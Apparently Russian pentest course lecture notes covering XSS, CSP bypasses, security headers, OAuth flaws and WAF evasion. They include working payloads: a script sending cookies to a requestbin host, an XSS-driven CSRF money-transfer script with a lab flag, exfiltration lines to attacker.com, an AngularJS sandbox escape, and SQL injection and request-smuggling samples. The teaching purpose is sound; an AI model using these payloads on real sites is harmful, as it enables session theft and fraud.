выполняется Javascript-код, контролируемый атакующим. ## XSS Внедренный Javascript-код будет выполняться в контексте того же **origin**, что и целевое веб-приложение. Внедренный Javascript может свободно обходить все ограничения SOP и выполнять любые действия в веб-приложении от имени пользователя. ## XSS Позволяет атакующему: Позволяет атакующему: - Украсть Cookie - Украсть данные - Модифицироовать DOM-дерево, изменить внешний вид и логику работы компонентов веб-сраницы - Выполнить произвольные действия в веб-приложении от имени жертвы <Быстрый пример на кражу Cookie> <Полный обзор после подробного обсуждения причин возникновения> ![](https://i.imgur.com/EhjYTgJ.png) ![](https://i.imgur.com/wgdXmFY.png) ![](https://i.imgur.com/QH20k3H.png) https://requestbin.net/ Когда это выполнится - браузер отправит куки ![](https://i.imgur.com/P5AeWXB.png) ![](https://i.imgur.com/vxHToQv.png) Получаем доступ к уязвимому приложению с правами жертвы. ![](https://i.imgur.com/4jjXpZI.png) Скрипт + то что написали - сработала атака Жертва открыла страничку и отправила куки к нам. Дальше мы можем войти под его сессией. ``` <script>i = new Image(); i.src='http://mz6zbpdt0klbesfa.b.requestbin.net/?cookie='+document.cookie;</script> ``` На пентесте - хорошо использовать эту уязвимость. Можно попасть куда-нибудь. Через форму обратной связи. Проверка, при прогулке по страницам - можем наткнуться на эти запросы (свои) `<script>print()</script> <script>alert(1)</script> ` ## XSS Чаще всего возникают при: Чаще всего возникают при: - Инъекции в HTML - Загрузке файлов произвольного типа ## XSS alert(1) При тестироввании приложения на XSS удобно использовать скрипт, выполнение которого легко заметить. Как правило используется: alert(1) XSS Пример XSS bWAPP ## HTML-injection (уязвимость) ![](https://i.imgur.com/13HCMzA.png) http://csr8.psorokin.ru:8141/ ![](https://i.imgur.com/atPzmqE.png) Контексты внедрения: Внедрение внутрь тега Внедрение в атрибут тега Внедрение в блок <script> В href тэга `<a>` ## HTML-injection ![](https://i.imgur.com/TUMjHNT.png) "> - закрыли тег и вырвались за пределы ![](https://i.imgur.com/rSqFpb3.png) **Пример 2** Не можем вырваться из тэга ![](https://i.imgur.com/AcrR8wT.png) Чтобы добится выполнения javascript - ![](https://i.imgur.com/7BAGG8H.png) onmouseover="alert(1)" on xxx="zzz feafewafea" onfocus="alert(1)" autofocus xxx="zzz ![](https://i.imgur.com/NgWN1QW.png) **даже не выбираясь из тэга мы можем добится выполнения кода** **Cборник Какие аттрибуты каких тегов, позволяют выполнить код на javascript** (Нашли инъекцию в непонятный тег, то тут удобно посмотреть вектора) https://portswigger.net/web-security/cross-site-scripting/cheat-sheet ![](https://i.imgur.com/WGdEJWH.png) ![](https://i.imgur.com/jquStX8.png) http://csr8.psorokin.ru:8141/attribute_xss_task.php ![](https://i.imgur.com/ndGKY98.png) ![](https://i.imgur.com/Q2iWzqy.png) ![](https://i.imgur.com/kDnLuG3.png) ![](https://i.imgur.com/FG0EuLM.png) 2 Инъекция ![](https://i.imgur.com/zreAZm3.png) ![](https://i.imgur.com/HO6Kt2c.png) fewafeawfewa</script><script>alert(1)</script> Если встречаем сlient-side уязвимости - надо проверять POC ![](https://i.imgur.com/hPoK3mx.png) Раз есть else, значит должен быть if ![](https://i.imgur.com/98FkKp5.png) <знакомимся с тренировочным приложением> HTML-injection Внутри тэга `<div>$_GET[‘name’]</div>` Вектор атаки: `name=<script>alert(1)</script>` HTML-injection Атрибут тэга `<input value="$_GET['name']"></div>` Вектора атаки: ``` name="><script>alert(1)</script> name=xx" autofocus onfocus="alert(1)" xx=" ``` Найти вектора может помочь Portswigger XSS CheatSheet HTML-injection Тэг `<script>` `<script>var x=“$_GET[‘name’]”; …` Вектор атаки: name=“;alert(1);var z=“ Важно оставить скрипт синтаксически верным. ## HTML-injection Тэг `<a>` `<a href="$_GET['url']">Link</a>` Атака: url=javascript:alert(1) ![](https://i.imgur.com/AH2bZBV.png) ![](https://i.imgur.com/2Dxzak2.png) Если веб приложение позволяет указать ссылку - в его браузере выполнится код ## XSS “Классическая” классификация: “Классическая” классификация: - Отраженные - Хранимые - DOM-based ## Отраженные XSS Веб-приложение небезопасно выводит в тело страницы параметр, полученный из самого запроса. Значение этого параметра не сохраняется в веб-приложении. Пример bwapp ## Хранмые XSS Веб-приложение небезопасно выводит в тело страницы сохраненный (например, в БД) параметр. Этот параметр был ранее получен веб-приложоением и контролировался атакующим. Пример bwapp ![](https://i.imgur.com/nYdDwm1.png) Данная XSS чуть опаснее, потому что она хранится. ## DOM-based XSS Небезопасное управление DOM уже существующим в странице Javascript-кодом может привести к выполнению кода, контролируемого атакующим. Пример ![](https://i.imgur.com/iU4N8TE.png) Опасные функции javascript в стандартном HTML https://hackmd.io/7fhPi98LSimgdSOIlOtK9g DOM-based XSS Могут возникать при использовании библиотек, которые напрямую модифицируют DOM. А также при Prototype Pollution. ![](https://i.imgur.com/k2Sq7Xf.png) ## XSS в React React в основном не позволяет допустить XSS. Но есть ряд способов обратится к элементам дом дерева на прямую. - dangerouslySetInnerHTML - findDOMNode - createRef ![](https://i.imgur.com/EYyCdFr.png) XSS в React Подробнее: 1 https://pragmaticwebsecurity.com/articles/spasecurity/react-xss-part1.html 2 https://pragmaticwebsecurity.com/articles/spasecurity/react-xss-part2.html 3 https://pragmaticwebsecurity.com/articles/spasecurity/react-xss-part3.html XSS ## Другие важные аспекты оценки XSS: - Требует ли действий от пользователя? - Может ли пользователь подвергнуться атаке при типовой работе с веб-приложением? ## Self XSS Так называют случай, когда атакующий может вызвать XSS только для себя. Например хранимая XSS на странице профиля пользователя. Эту страницу не могут увидеть другие пользователи, а значит провести XSS на них атакующий не сможет. ## Методология XSS **Ручной поиск** - отмечаем все инпуты (входные точки, которые в другом месте рефлектятся) имя пользователя - добавляем вектор. ![](https://i.imgur.com/uCFgkPd.png) **Автоматический** - < img src='http://<your_colaborator'> ![](https://i.imgur.com/Nps6Mbq.png) ![](https://i.imgur.com/O4bZS5z.png) И потом ходим по всем страницам и смотрим что существует. Внимательность - Интуиция - Логика ## XSS Эксплуатация XSS ## Кража Cookies Позволяет имперсонировать пользователя, можем вставить в браузер и войти под пользователем. Кука не будет доступна из javascript **HttpOnly** Javascript не имеет доступа к Cookie, если они помечены флагом **HttpOnly**. http://csr8.psorokin.ru:8142 ![](https://i.imgur.com/FUmUM9o.png) ![](https://i.imgur.com/zyz7rA8.png) ![](https://i.imgur.com/nbKQykG.png) ![](https://i.imgur.com/kWrG18A.png) `document.children[0].innerHTML='<img src="https://emanatingjoy.files.wordpress.com/2011/10/path.jpg">'` **Подмена утентификационной формы** ![](https://i.imgur.com/67HWk13.png) ![](https://i.imgur.com/9yNUGhg.png) ![](https://i.imgur.com/8LLtt23.png) ![](https://i.imgur.com/tplpbx5.png) ![](https://i.imgur.com/MQK6NFg.png) ![](https://i.imgur.com/hPNweGm.png) Это не отработает, так как длина не соответствует. Сохраняем этот код на сервере в файлике ![](https://i.imgur.com/Nab7wcb.png) ![](https://i.imgur.com/U5DE3dJ.png) ![](https://i.imgur.com/4k5oM7K.png) ![](https://i.imgur.com/5UZPrgZ.png) ![](https://i.imgur.com/bbgJ7ez.png) Добавили action - Мы с помощью джава скрипта заменили дом-дерево и пользователь ввел свой логин и пароль, мы его перехватили ![](https://i.imgur.com/P0sdlFZ.png) XSS Кража Cookies Запросы с Cookie жертвы можно принимать на: - веб-сервер - Request Bin - Burp Collaborator ## XSS Модификация DOM Модификация DOM Дефейс Поддельная форма аутентификации ## XSS Обход защиты от CSRF - Отправляем запрос на страницу, где хранится CSRF-токен - Читаем CSRF-токен из ответа (SOP не мешает) - Отправляем нужный запрос с подставленным токеном http://csr8.psorokin.ru:8142/login.php ![](https://i.imgur.com/25xNCsI.png) Во второй вкладке зарегали пользователя victim ![](https://i.imgur.com/85vYooU.png) CSRF token получаем ![](https://i.imgur.com/sFMd1Wg.png) ![](https://i.imgur.com/l0mXQ8H.png) ![](https://i.imgur.com/NcUuBMD.png) Извлекаем токен с помощью джава скрипта Самый правильный способ - с помощью регулярки В джава регулярки пишутся в слешах и "" ![](https://i.imgur.com/xiLSZTq.png) ![](https://i.imgur.com/luOTYvS.png) Можем использовать СSRF token для отправки денег другому пользователю Относительная адресация в вебе, по этому /send.php (браузер добавит сам текущий ориджин) ![](https://i.imgur.com/cjScnyZ.png) Если 2 слеша - то будет использоваться текущая схема. ![](https://i.imgur.com/F21eiLi.png) ![](https://i.imgur.com/Qtu7pIL.png) ![](https://i.imgur.com/QhFF4ou.png) ![](https://i.imgur.com/Grt4oDA.png) ![](https://i.imgur.com/dg9Ou0n.png) Это самое опасное в xss - ![](https://i.imgur.com/LLMkhmZ.png) XSS - Steal money 201 Обойдите защиту от CSRF с помощью XSS и украдите деньги у преподавателя (хотя можно и не только у него ;) ) http://csr8.psorokin.ru:8142 Нужно получить баланс >=200 ``` <script> x = new XMLHttpRequest(); x.open("GET","/send.php",false) ; x.send(); csrf = x.responseText.match(/csrf_token" value="(.*?)"/)[1]; y= new XMLHttpRequest(); y.open("POST","/send.php",false); y.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); y.send("to=bee&amount=155&message=12234&csrf_token="+csrf); </script> ``` ![](https://i.imgur.com/V2k5CCR.png) hackeru{1qaz2wsx3edc} ## Upload XSS Upload XSS Загрузка некоторых типов файлов может привести к выполнению javascript-кода и, соответственно, возможности XSS. ## Upload XSS Браузер обрабатывает переданные ему данные на основании Content-Type, расширение файла в запросе его не интересует. Однако веб-сервер при отдаче пользователю файлов проставляет Content-Type на основании расширения. (cтатику раздает веб-сервер) По таблице, которая хранится на сервере - возвращает **content-type** ![](https://i.imgur.com/W4RtiBW.png) ![](https://i.imgur.com/qAeVZKt.png) .html - обычно запрещен к загрузке ## SVG XSS (векторная графика) тут описано как картинка устрена и это xml документ. Зачастую разработчики загружают файлы на основе фреймворком, и эта проверка пропускает svg& ``` <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="5cm" height="4cm" version="1.1" xmlns="http://www.w3.org/2000/svg" onload="javascript:alert(1)"> <rect x="0.5cm" y="0.5cm" width="2cm" height="1cm"/> <script>alert(2)</script> </svg> ``` ![](https://i.imgur.com/KVvYY3M.png) ![](https://i.imgur.com/VHezAD2.png) ## XML XSS тоже приводит к xss ``` <?xml version="1.0" encoding="UTF-8"?> <response> <foo> <html xmlns:html="http://www.w3.org/1999/xhtml"> <html:script>alert("XSS");</html:script> </html> </foo> </response> ``` ![](https://i.imgur.com/hPPl1m9.png) ![](https://i.imgur.com/UYZ8Sqx.png) ## Исследование Замечательное исследование о работе разных веб-серверов с разными типами загруженных файлов и тем, что атакующий может с этим сделать. https://mike-n1.github.io/ExtensionsOverview ![](https://i.imgur.com/QM4jK69.png) ![](https://i.imgur.com/5rbulzu.png) ## Защита от Upload XSS - Белый список разрешенных к загрузке файлов - Заголовок Content-Disposition: attachment. ![](https://i.imgur.com/4usxFxj.png) Браузер не отображает на прямую, он просто скачивает файл. **А вот так будет работать просто открытие картинки/файла, а не скачиваться** ![](https://i.imgur.com/yWNWicm.png) Задания на CTFd (http://psorokin.ru) тест для самопроверки в LMS # Занятие 15. Content Security Policy. Security Headers. Вторник, 06 сентября 2022г., с 19:00 до 22:00 (МСК) Проверка Content Security Policy, Client-Side Template Injection, укрепления безопасности заголовками, описание уязвимостей https://hackmd.io/fwkE5Y7-QBqQw1zOjtNaaw Web App Pentest # OpenID / OAuth / CSP / Security Headers Вопросы по заданиям? ## OpenID / OAuth Протоколы аутентификации и авторизации. OpenID - позволяет делегировать аутентификацию сторонним сервисам OAuth - позволяет другим приложениям получить доступ к данным пользователя с разграничением доступа (авторизация). Ссылки: https://auth0.com/intro-to-iam/what-is-openid-connect-oidc/ https://auth0.com/intro-to-iam/what-is-oauth-2/ ![](https://i.imgur.com/65SRLEp.png) **Базовый флоу** Сlient App - хочет получить авторизацию Autorization Server - это гугл и тд ## Проблемы OpenID/OAuth Это сложные протоколы, в реализации которых можно допустить множество ошибок. **Рассмотрим одну проблему:** - отсутствие проверки redirect_uri - Отсутствие проверки state Подробнее: https://portswigger.net/web-security/oauth И тут: https://livebook.manning.com/book/oauth-2-in-action/chapter-7/ (более полная книга) ## Отстутствие проверки redirect_uri В используется для возврата code приложению клиента. Сервер OAuth/OpenID должен проверять что переданный redirect_uri соответствует redirect_uri, использованному при регистрации клиента. Отсутствие такой проверки позволяет перехватить аутентификационные коды и захватить аккаунты пользователя. Пример - Portswigger Academy: https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri ![](https://i.imgur.com/CGgoIEi.png) ![](https://i.imgur.com/qnEVQHy.png) ![](https://i.imgur.com/MeARiBt.png) ![](https://i.imgur.com/x6u916r.png) ![](https://i.imgur.com/3yZz4QW.png) какое приложение хочет получить креды **redirect_uri** - куда будет перенаправлен пользователь после авторизации scope - какие права заправшивает приложение ![](https://i.imgur.com/QGgTdNj.png) authorization code - одноразовый token - многоразовый ![](https://i.imgur.com/dviNOR8.png) Хакер может поймать авторизейшн code - и зайти на ресурс от имени пользователя(можем заставить пользователя перейти по ссылке) ![](https://i.imgur.com/mi1vRfE.png) ![](https://i.imgur.com/Du7dhTs.png) ![](https://i.imgur.com/Zd7EJMG.png) Редиректит с авторизейшн кодом ![](https://i.imgur.com/B9ascbY.png) "Админ войдет по нашей ссылке" ![](https://i.imgur.com/76QtVNY.png) Код другого юзера Зачастую в сетях компании реализуют openID/ oAuth ## Cхема атаки на redirect uri ![](https://i.imgur.com/nqTULE8.png) ## Отсутствие проверки state **Приводит к Login/Logout CSRF.** ![](https://i.imgur.com/RKu0bfQ.png) Атакующий может получить авторизейшн код у себя. Отправить пользователю ссылку и жертва может залогинится в другой кабинет. Пример - сбор денег, и деньги автоматом прилетают на счет. Атакующий публикует гайд- как платить, залогинивает пользователя в свой аккаунт. Потому что атакующий залогинил жертву под свой аккаунт. ### Защита. параметром state - когда пользователь RFC OAuth ## Content Security Policy Content Security Policy - политика, созданная для ограничения для эксплуатации XSS Позволяет веб-приложению определить набор правил, которым будет следовать браузер на текущей странице Одна из основных целей создания – ограничение возможности эксплуатации XSS ## Content Security Policy CSP ограничивает: - возможность атакующего выполнить внедренный код - возможность атакующего отправлять данные на сторонние ресурсы Пример yandex или google ![](https://i.imgur.com/MaGwqkf.png) ![](https://i.imgur.com/8wk1pqw.png) Директивы разделяются ; Самая главная директива - script-src ![](https://i.imgur.com/nweO4as.png) inline script - скрипты которые подгружены unsafe-inline unsafe-eval ## Content Security Policy script-src Говорит браузеру откуда можно подгружать скрипты unsafe-inline - разрешает использование inline-скриптов unsafe-eval - разрешает использование eval атакующий хочет обойти unsafe-inline ## Content Security Policy img-src, font-src, style-src и т.д. - ограничивает атакующему Говорит браузеру откуда можно подгружать соответствующие ресурсы Ограничивает возможности атакующего по передаче данных на другие домены img = new Image(); img.src=”http://attacker.com/?x”+document.cookie; Не сработает, если attacker.com не в img-src. (пример Банк Нолик). ## Content Security Policy default-src Эта директива используется, когда для типа ресурса конкретной директивы не объявлено. ![](https://i.imgur.com/6mPs6zP.png) перехват запроса ![](https://i.imgur.com/0piPwBx.png) ![](https://i.imgur.com/59V8Xcn.png) ![](https://i.imgur.com/25AKS8J.png) ЧТо будет в бращуере ![](https://i.imgur.com/pbcmnnB.png) Ни один из скриптов не выполнился ![](https://i.imgur.com/lKyr8PW.png) ![](https://i.imgur.com/FaN3CM1.png) Что то не загрузилось, но тем не менее эксплойты сработали ![](https://i.imgur.com/a9CdwDg.png) Мы не можем запустить такую картинку ![](https://i.imgur.com/mwWEedX.png) Здесь может быть добавлено хранилище скриптов старых ## Content Security Policy В репозиториях скриптов могут быть старые уязвимые версии скриптов, которые позволяют выполнить XSS в обход ограничений CSP. ![](https://i.imgur.com/I90t8zY.png) ![](https://i.imgur.com/JYebnvW.png) Можно загружать скрипты с самого себя, ajax.google ## Content Security Policy **Автоматизированная проверка корректности настройки CSP:** https://csp-evaluator.withgoogle.com/ ![](https://i.imgur.com/d8B2l6u.png) практически через все ангуляры можно добится выполнения скрипта ![](https://i.imgur.com/H6uyOlA.png) он использует загрузку скрипта с googla (тут используется побег из песочницы ангуляра) ![](https://i.imgur.com/DV3xrAG.png) ## CSTI - Обход unsafe-inline Client-Side Template Injection ``` <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.js"> </script> <div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} </div> <Пример с angular> ``` ## CSTI - Обход unsafe-inline Варианты для разных версий angular https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs или тут https://portswigger.net/web-security/cross-site-scripting/cheat-sheet ## Обходы отправки данных CSP - системы аналитики - можно зарегистрироваться в них и отправлять в свою кампанию (яндекс метрики) - если есть google.com или yandex.ru, то можно отправлять в Google/Яндекс формы - если в приложении есть сообщения или заметки, то отправлять наружу и не требуется (шлем от имени польз данные хакеру) - CSP не запрещает редирект window.location='https://attacker.com/?'+document.cookie ## Обходы CSP Ссылка: https://blog.deteact.com/csp-bypass/ На собесах про ЦСП - будут спрашивать как обходить, base uri, jsonPi способ обхода (инъектим свой код), способ обхода через angular ## Заголовки безопасности Заголовки безопасности Есть ряд HTTP-заголовков, передаваемых серверной частью, которые меняют поведение браузера и могут быть использованы для укрепления безопасности ## X-Frame-Options Определяет в каких случаях страница может быть загружена во фрейм. Предотвращает Clickjacking атаку. Значение параметра Содержание **SAMEORIGIN** Позволяет загрузку контента в frame/iframe только если фрейм и страница, его загружающая, расположены на одном origin. **DENY** Запрещает загрузку контента в frame/iframe. **ALLOW-FROM** Допускает загрузку контента в фреймах только для определенного origin. (для защиты от социалок). **FRAME ANCESTORS** ## X-XSS-Protection attack ![](https://i.imgur.com/SlEwgMv.png) Директива для встроенных в браузеры XSS фильтров. Безопасное значение: **X-XSS-Protection: 1;mode=block** Cейчас ставят в значение 0 ( в некоторых гайдах рекомендация) ## X-Content-Type-Options Некоторые браузеры осуществляют автоматическое определение Content-Type и обрабатывают страницу соответствующим образом. В некоторых случаях это может привести к XSS или обходу CSP. **X-Content-Type-Options: nosniff** предотвращает такое поведение ( нужны конкетные контент-тайпы) Важен для страниц, которые отдают пользовательские загруженные данные/файлы ## Strict-Transport-Security Однажды полученный браузером такой заголовок в дальнейшем запрещает переход по ссылкам http://origin. При указании http:// совершается автоматический переход на https://origin. Блокирует возможность чтения трафика пользователя и атак **Man-in-the-Middle**. Так же запрещает самоподписанные сертификаты. ![](https://i.imgur.com/5BboIuP.png) Максимально в течении какого премени браузер будет ходить по https. ## Cookie Security Cookie Security При работе с Cookie нужно помнить что: - Cookie устанавливаются на **домен**, а не на origin. Браузер имеет отдельное хранилище куки в домене. - Cookie могут отправляться на поддомены - Поддомены могут устанавливать Cookie для родительского домена ## Cookie устанавливаются на домен, а не на origin Взлом ресурса на том же домене, но на другом порту (http://example.com:8080) приводит к компрометации Cookie ваших пользователей. Если не укажем secure cockie attribute то полетит по http & https. ![](https://i.imgur.com/NKnIWaG.png) А так полетит по HTTPS. зашита от атаки man-in-the-middle. **Не нужно иметь больше одного приложения на 1 домене.** По портам нельзя приложение делить. ЧЕм изолированней - тем безопаснее. ## Cookie устанавливаются на домен, а не на origin Internet Explorer имеет особую реализацию SOP - он не считает что port - это часть origin. То есть атака XSS на http://example.com:8080 автомтически расширяется и на http://example.com для пользователей IE. ## Cookie могут отправляться на поддомены Cookie могут быть установлены двумя способами: - .example.com - example.com Первые полетят на поддомены, вторые нет. ## Cookie могут отправляться на поддомены Взлом поддомена http://wordpress.example.com приводит к компрометации ваших Cookie. Также нередка ситуация когда поддомен отдают не очень надежному контрагенту. Он также может воровать Cookie ваших пользователей. ## Поддомены могут устанавливать Cookie для родительского домена XSS на поддомене http://evil.example.com приводит к возможности установки Cookie для родительского домена http://example.com. Браузер будет отправлять обе Cookie, веб-приложение будет принимать либо первую либо последнюю. Атакующий имеет ограниченную возможность контроля порядка отправки Cookie. Установить куку - чере джвава скрипт , если взломали сервер, то через set-coockie ![](https://i.imgur.com/kP9tTgc.png) ![](https://i.imgur.com/Uwsodgc.png) Поддомены могут устанавливать Cookie для родительского домена Соответственно атакующий получает: logout пользователя login в свой аккаунт ## SameSite не работает для поддоменов Если вы делаете защиту от CSRF с помощью SameSite и при этом у вас есть домен blog.company.com, который делегирован аутсорсинг WordPress компании, то если этот blog поломают или найдут в нем XSS, то можно будет CSRF-ить ваших пользователей. # 16 занятие https://hackmd.io/gN4cIcmlTKqfF31Rsh6WNw Web App Pentest ## Interview + Bonus Описания уязвимостей ? ## Interview ## Собеседование пентестера Основная часть: - внешний (основной) - веб (основной) - внутренний (основной) - мобилки(?) - анализ кода - общие технические вопросы ## Структура - Вопрос об общем подходе - что будешь делать(систематизированные знания) - Вопросы про уязвимости, способы обнаружения и техники эксплуатации * Причем это не только для веба ## Общий подход тестирования веб-приложений (высокоуровневая методика) - Ознакомиться с функционалом (изучил, понажимал на кнопки, с чем имеешь дело - разведка), как устроен роутинг -- Составить в голове возможные проблемы и риски - Собрать информацию о технологиях -- wappalyzer -- сообщения об ошибках (вызываем ошибки, посмотрим 404, укажем массив вместо параметра) - Изучение поверхности атаки -- dirsearch -- Изучение API/анализ js/kiterunner (спрашивают - а какие листы используешь для дирсерча) - Анализ важных и часто уязвимых компонентов приложения -- Аутентификация и сессии(jwt) --- Регистрация (как устроен user enumeration) --- Восстановление доступа --- OTP (можно ли брутить) -- Ролевая модель -- Загрузка файлов -- Фильтры и сортировка в запросах данных (скорее всего скули возникают там) -- Оценка защиты от CSRF (понять скособ защиты) -- Оценка CSP и других заголовков безопасности - Ручной поиск уязвимостей -- попытка вызвать ошибки --- кавычки --- подмена типов данных (массивы, строки вместо чисел или наоборот) неожиданное поведение приложения в типовых местах -- подстановка XSS векторов (пост, url подставлять в неск страницах) -- использование интуиции и опыта -- поиск IDOR и IFLAC (использовать данные одной учетки в другой учетки) - Дальше много если -- если есть указание ссылок, то проверим: --- SSRF --- XSS -- если есть загрузка XML: --- XXE -- если есть генерация PDF: --- PDF rendering issues -- если есть загрузка архивов: --- zip slip --- symbolic link issue - Сбор входных точек и автоматический поиск уязвимостей -- пассивно + dirsearch сбор -- сканер бурпа (паша считает что его достаточно) **Низкоуровневая методология** https://owasp.org/www-project-web-security-testing-guide/stable/ Компании пентестеров ![](https://i.imgur.com/K8SJSkL.png) ## Про уязвимости В понимании уязвимости есть некоторый уровень. Его нужно выявить. Начинаем с основы и идем в глубь ## Про уязвимости веба Серверная часть: - SQLi (как узнать кол-во столбцов - order by, кол-во колонок - null), error-based вывод ошибки с полезной информацией, blind - написание брутеров, хорошо ли понимает человек как под капотом работает sqlmap, в каких субд можно добится RCE. Должны быть привилегии и должно быть stect queries. - верно для всех сценариев. **Плохие ответы** - sqlmap, - XXE (с выходом в SSRF) - десериализация - SSTI/Prototype Pollution Клиентская часть: - CSRF (same-origin-policy) - XSS (что это и чем опасно) - CSP (зачем надо, как мешает и парочку байпасов) ## Баланс теория- инструменты (лучше знать теорию) ## Общие технические вопросы (базовые технические навыки и знаний) - сети (мы поломали тачку во внешке, прокинули сокс-прокси, мы знаем во внутр сети сервер, мы пытаемся его пинговать , но не пингуется, почему? потому что пинг работает по ismp, а сокс работает по tcp) - криптография (проломили веб сервер и нашли серт https, что можем с ним делать - ничего) ## “Хакерское мышление” Навык находить неожиданные и нестандартные пути, для использования стандартных путей. Требует технической эрудиции и понимания работы систем. ## Web Cache Deception Атакующий может заставить кеширующий сервер закешировать конфиденциальную информацию. Кеширующий сервер не реализует контроль доступа и отдаст закешированную информацию любому кто за ней обратится. Причиной является некорректная конфигурация кеширующего или/и веб-сервера. ![](https://i.imgur.com/UH7ynDn.png) Проблема как апач обрабатывает запросы ![](https://i.imgur.com/ibCNkxz.png) squid - название реализации хэширующего прокси Сценарий атаки ![](https://i.imgur.com/X824WUx.png) Мы можем прочитать отввет , предназначенный другому пользователю с кеша. http://csr8.psorokin.ru:8161/ ![](https://i.imgur.com/bTQoymg.png) ![](https://i.imgur.com/4fZ9Q68.png) ![](https://i.imgur.com/gEHUxQK.png) ## Матрица компетенций https://docs.google.com/spreadsheets/d/15w9mA5HB9uuiquIx8pavdxThwfMrH7HSv2zmagrekec/edit#gid=141308356 https://docs.google.com/spreadsheets/d/1yrQRyYS7Li3UpDwJoRqJ7uxD0g-ctm3I9-o-jHgzymg/edit#gid=0 ## Книга по вебу The Tangled Web Подробнее: https://www.securitylab.ru/blog/personal/amatrosov/20684.php?ysclid=l7tef5d85v275732802 ## Что можно еще изучить по безопасности веба: - NoSQL Injection (mongo) - LDAP Injection - GraphQL и связанные с ним проблемы - OAuth2/OpenID и связанные с ними проблемы - HTTP Parameter Pollution - Request Smuggling - Response Splitting - Web Sockets security - Post message security - PHP disable functions evasion - PHP Phar Deserialization - Blind SSRF techniques - Dom Clobbering - WAF Bypasses - Cross-Site Script Include (XSSI) - Session Fixation - XPATH Injection Еще ссылки: https://github.com/BlackFan/content-type-research https://docs.google.com/spreadsheets/d/15w9mA5HB9uuiquIx8pavdxThwfMrH7HSv2zmagrekec # Обход WAF https://hackmd.io/E8BBeWZHTruOYgDciwnX6Q ## WAF bypass WAF bypass Можно разделить на: application specific inconsistency ## WAF bypass - application specific Приложение может принимать данные в виде, который WAF не ожидает: ``` $param = base64_decode(base64_decode($_GET['x'])); $query = "SELECT * FROM table where id='$param'"; WAF bypass - application specific ``` ## Double urlencode: ``` $param = urldecode($_GET['x']); $query = "SELECT * FROM table where id='$param'"; WAF bypass - inconsistency ``` Идея - добиться того, чтобы WAF проанализировал данные одним способом и не заметил атаки, а веб-приложение другим и было подвержено атаке. Есть несколько вариантов: Content-Type inconsistency multipart/form-data trics HTTP Parameter Pollution Transfer Encoding/Content-Length ## Content-Type inconsistency Веб-приложение может игнорировать заголовок Content-Type. Например, оно всегда берет body запроса целиком и декодирует его как JSON. При этом WAF может реагировать на Content-Type и пытаться парсить данные в соответствии с ним. ``` POST /example HTTP/1.1 Host: example.com Content-Type: text/xml {"param1":"' union select 1,2,3 -- '"} multipart/form-data trics ``` Исследование BlackFan https://github.com/BlackFan/content-type-research ## HTTP Parameter Pollution `http://example.com/?param=fefefe&param=' union select 1 -- ` Идея - WAF увидит первый параметр, а веб-приложение воспользуется последним https://en.wikipedia.org/wiki/HTTP_parameter_pollution ## Transfer Encoding vs Content-Length ![](https://i.imgur.com/SHnHbaT.png) Transfer Encoding vs Content-Length ``` POST / HTTP/1.1 Host: company.com Content-Type: text/plain Transfer-Encoding: chunked Content-Length: 31 0 fefe=' union select 123 -- ```